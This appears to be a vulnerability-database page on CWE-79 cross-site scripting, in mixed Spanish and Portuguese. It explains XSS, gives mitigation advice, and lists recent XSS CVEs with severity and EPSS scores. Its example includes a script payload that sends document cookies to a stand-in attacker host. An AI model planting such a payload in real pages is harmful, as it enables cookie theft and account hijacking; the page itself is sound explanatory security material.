Fallos del tipo CWE-79

30.269 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-30900MEDIUMWordPress Zoho Billing – Embed Payment Form plugin <= 4.0 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-28885MEDIUMWordPress Fiverr.com Official Search Box plugin <= 1.0.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-23782MEDIUMCross-site scripting vulnerability exists in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7, Ver.3.0.x series versions prior to VerEPSS 0.3%CVE-2024-2301HIGHCertain HP LaserJet Pro devices are potentially vulnerable to a Cross-Site Scripting (XSS) attack via the web management interface of the deEPSS 0.3%CVE-2025-8400MEDIUMImage Gallery <= 1.0.0 - Reflected Cross-Site ScriptingEPSS 0.3%CVE-2026-72743MEDIUMSQLBot 1.10.0 SQText Dashboard Component Stored XSS via v-htmlEPSS 0.3%CVE-2024-5091HIGHSKT Addons for Elementor <= 2.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Age Gate and Creative Slider WidgetsEPSS 0.3%CVE-2026-53662CRITICALimmich: One-click account takeover via XSS in login page continue redirectEPSS 0.3%CVE-2025-44182MEDIUMPhpgurukul Vehicle Record Management System v1.0 is vulnerable to Cross Site Scripting (XSS) via the vehiclename, modelnumber, regnumber, veEPSS 0.3%CVE-2023-47559MEDIUMQuMagieEPSS 0.3%CVE-2025-1591MEDIUMSourceCodester Employee Management System Department Page department.php cross site scriptingEPSS 0.3%CVE-2025-6975MEDIUMEvent Manager <= 7.0.3 - Reflected Cross-Site Scripting via `calendar_header` ParameterEPSS 0.3%CVE-2025-63229MEDIUMThe Mozart FM Transmitter web management interface on version WEBMOZZI-00287, contains a reflected Cross-Site Scripting (XSS) vulnerability EPSS 0.3%CVE-2026-93454MEDIUMAureus ERP through 1.6.0 Stored XSS via Payment Term NoteEPSS 0.3%CVE-2025-30922MEDIUMWordPress Simplebooklet PDF Viewer and Embedder plugin <= 1.1.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-30918MEDIUMWordPress Structured Content plugin <= 1.6.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2022-30359MEDIUMOvalEdge 5.2.8.0 and earlier is affected by a Sensitive Data Exposure vulnerability via a GET request to /user/getUserList. Authentication iEPSS 0.3%CVE-2026-30691MEDIUMCross-Site Scripting (XSS) vulnerability in @cyntler/react-doc-viewer v1.17.1 allows remote attackers to execute arbitrary JavaScript via a EPSS 0.3%CVE-2025-29719MEDIUMSourceCodester (rems) Employee Management System 1.0 is vulnerable to Cross Site Scripting (XSS) in add_employee.php via the First Name and EPSS 0.3%CVE-2023-45740MEDIUMStored cross-site scripting vulnerability when processing profile images exists in GROWI versions prior to v4.1.3. If this vulnerability is EPSS 0.3%